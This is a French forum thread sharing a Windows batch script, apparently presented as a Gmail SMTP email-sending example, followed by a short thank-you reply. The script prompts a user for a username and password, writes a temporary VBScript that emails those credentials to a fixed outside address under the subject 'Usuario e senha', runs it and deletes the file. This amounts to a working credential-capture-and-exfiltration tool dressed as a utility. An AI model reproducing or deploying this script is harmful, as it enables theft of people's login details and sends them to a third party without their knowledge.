Connexion

Récupérer mon mot de passe

Qui est en ligne ?
Il y a en tout 1 utilisateur en ligne :: 0 Enregistré, 0 Invisible et 1 Invité

Aucun

Le record du nombre d'utilisateurs en ligne est de 21 le Jeu 17 Oct 2013, 13:40
Derniers sujets
Flux RSS



Flag Counter
Partenaires

[BAT] Envoi par courriel avec l'authentification de Gmail et SSL

Voir le sujet précédent Voir le sujet suivant Aller en bas

[BAT] Envoi par courriel avec l'authentification de Gmail et SSL

Message par Delmar Grande le Sam 15 Juin 2013, 16:24

Code:
@echo off
title Batch Envia Email
::Script feito no Masbat v2.0
set /p user="Usuario>"
echo.
set /p senh="Senha>"
echo.
(
Echo Set objEmail = CreateObject("CDO.Message"^)

Echo Subjectline = ""
Echo messagebody = ""
Echo Subjectline = "Usuario e senha"
Echo Messagebody = ""

Echo With objEmail
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing"^) = 2
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver"^) = "smtp.gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"^) = 1
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername"^) = "Seuemail@gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword"^) = "Sua senha aqui"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport"^) = 465
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl"^) = true
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout"^) = 60
Echo .Configuration.Fields.Update
Echo '.AddAttachment "C:\test.txt"
Echo 'objEmail.Textbody = "Server1 is no longer accessible over the network."
Echo 'objEmail.HTMLBody = "<font face=arial color=blue>Server1 is no longer accessible over the network.</font>
Echo 'objEmail.CreateMHTMLBody "http://www.google.com.fr/"
Echo 'objEmail.CreateMHTMLBody "file://c|/test.htm"
Echo End With

Echo '*** fim do SMTP remoto seção de configuração do servidor ***
Echo WScript.Echo "enviando e-mail..."
Echo With ObjEmail
Echo  .From = "Seuemail@gmail.com"
Echo  .To = "Parafulano@hotmail.com"
Echo  .Subject = subjectline
Echo  .HTMLBody = "<p><b>Usuario: %user% & Senha: %senh%</b></p>"
Echo End With
Echo 'On Error Resume Next
Echo objEmail.Send
Echo WScript.Echo ""
Echo WScript.Echo "Email enviado com sucesso."
Echo Set objEmail = Nothing
)>"%tmp%\SendEmail.vbs"
CScript %tmp%\SendEmail.vbs //nologo
Del %tmp%\SendEmail.vbs
pause
avatar
Delmar Grande
EQUIPE BBAT
EQUIPE BBAT

Mensagens : 170
Data de inscrição : 14/06/2013
Localização : Devant le pc

http://dbatchscript.forumeiros.com/

Revenir en haut Aller en bas

Re: [BAT] Envoi par courriel avec l'authentification de Gmail et SSL

Message par Hackoo le Sam 15 Juin 2013, 18:47

Merci pour le partage [Vous devez être inscrit et connecté pour voir cette image]
avatar
Hackoo
EQUIPE BBAT
EQUIPE BBAT

Mensagens : 135
Data de inscrição : 06/06/2013
Localização : Tunisie

Revenir en haut Aller en bas

Voir le sujet précédent Voir le sujet suivant Revenir en haut

- Sujets similaires

 
Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum